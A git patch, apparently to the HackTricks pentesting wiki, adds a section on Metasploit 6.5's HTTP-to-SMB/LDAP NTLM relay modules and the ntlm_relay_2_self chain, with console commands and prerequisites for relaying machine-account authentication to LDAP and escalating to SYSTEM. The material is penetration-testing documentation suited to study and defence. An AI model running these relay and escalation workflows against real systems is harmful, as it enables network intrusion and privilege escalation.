From c48f2812e6c30702694883f436df79fd4b968b58 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 30 Jul 2026 19:31:58 +0000 Subject: [PATCH] Add content from: Metasploit Framework 6.5 Released --- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 588a5598b0f..801e2dd6869 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -213,6 +213,52 @@ Notes - Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale. - Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913). +### Metasploit 6.5: HTTP → SMB/LDAP relay and NTLMRelay2Self + +If you want to keep the whole relay workflow inside **Metasploit**, version **6.5** added two dedicated HTTP relay servers plus an automated local privilege-escalation chain: + +- `auxiliary/server/relay/http_to_smb`: runs an HTTP listener, requests NTLM auth, relays it to the configured `RHOSTS` over SMB (`RPORT` defaults to `445`) and opens an **interactive SMB session**. +- `auxiliary/server/relay/http_to_ldap`: same idea for LDAP (`RPORT` defaults to `389`) and opens an **interactive LDAP session**. Current module logic only relays **NTLMv1** to LDAP because NTLMv2 MIC breaks the relay, so the target must still be willing to emit NTLMv1. +- The relay modules are session-oriented instead of one-shot execution: you can inspect the authenticated context first and then run follow-up modules (`admin/ldap/rbcd`, LDAP queries, or `sessions -u` from SMB to attempt a PsExec/Meterpreter upgrade). + +Minimal SMB/LDAP relay workflow: + +```text +msf6 > features set smb_session_type true +msf6 > use auxiliary/server/relay/http_to_smb +msf6 auxiliary(http_to_smb) > set RHOSTS 10.0.0.25 +msf6 auxiliary(http_to_smb) > run +msf6 > sessions -u + +msf6 > features set ldap_session_type true +msf6 > use auxiliary/server/relay/http_to_ldap +msf6 auxiliary(http_to_ldap) > set RHOSTS 10.0.0.10 +msf6 auxiliary(http_to_ldap) > run +``` + +#### Metasploit `ntlm_relay_2_self` chain + +`exploit/windows/local/ntlm_relay_2_self` automates a **relay-to-self** LPE from a foothold on a **domain-joined workstation**. Based on the current module code, the practical prerequisites are: + +- a **Meterpreter** session on the workstation +- an **interactive/RDP token** with the **LOCAL SID (`S-1-2-0`)** so the ETW WebClient trigger works +- a reachable DC over LDAP +- Metasploit DB enabled +- the victim still allowed to send **NTLMv1** (`LmCompatibilityLevel <= 2`) + +The chain is: bind an HTTP relay listener on the victim, start **WebClient** via an **ETW service trigger**, coerce machine-account auth over **WebDAV** using EFS Win32 APIs such as `OpenEncryptedFileRawW`, relay that auth to LDAP, then write **Shadow Credentials** (`msDS-KeyCredentialLink`) and/or **self-RBCD**, request a Kerberos ticket with **PKINIT + S4U2Proxy**, and optionally `psexec` back into the same workstation as **SYSTEM**. + +```text +msf6 > use exploit/windows/local/ntlm_relay_2_self +msf6 exploit(ntlm_relay_2_self) > set SESSION +msf6 exploit(ntlm_relay_2_self) > set RHOSTS +msf6 exploit(ntlm_relay_2_self) > set DOMAIN lab.local +msf6 exploit(ntlm_relay_2_self) > set RUN_PSEXEC true +msf6 exploit(ntlm_relay_2_self) > run +``` + +This is mainly a **local workstation privilege-escalation** primitive: the LDAP write happens as the **machine account**, but the end goal is usually **Administrator/SYSTEM on the original workstation**, not code execution on the DC. + ### Force NTLM Logins In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how: @@ -394,5 +440,9 @@ You now own **NT AUTHORITY\SYSTEM**. - [Microsoft Learn - LCMapStringEx function](https://learn.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-lcmapstringex) - [Microsoft Learn - CompareStringW function](https://learn.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-comparestringw) - [Semperis - Exploiting Ghost SPNs and Kerberos Reflection for SMB Server Privilege Elevation](https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/) +- [Rapid7 - Metasploit Framework 6.5 Released](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released) +- [Metasploit source - `http_to_smb`](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/relay/http_to_smb.rb) +- [Metasploit source - `http_to_ldap`](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/relay/http_to_ldap.rb) +- [Metasploit source - `ntlm_relay_2_self`](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ntlm_relay_2_self.rb) {{#include ../../banners/hacktricks-training.md}}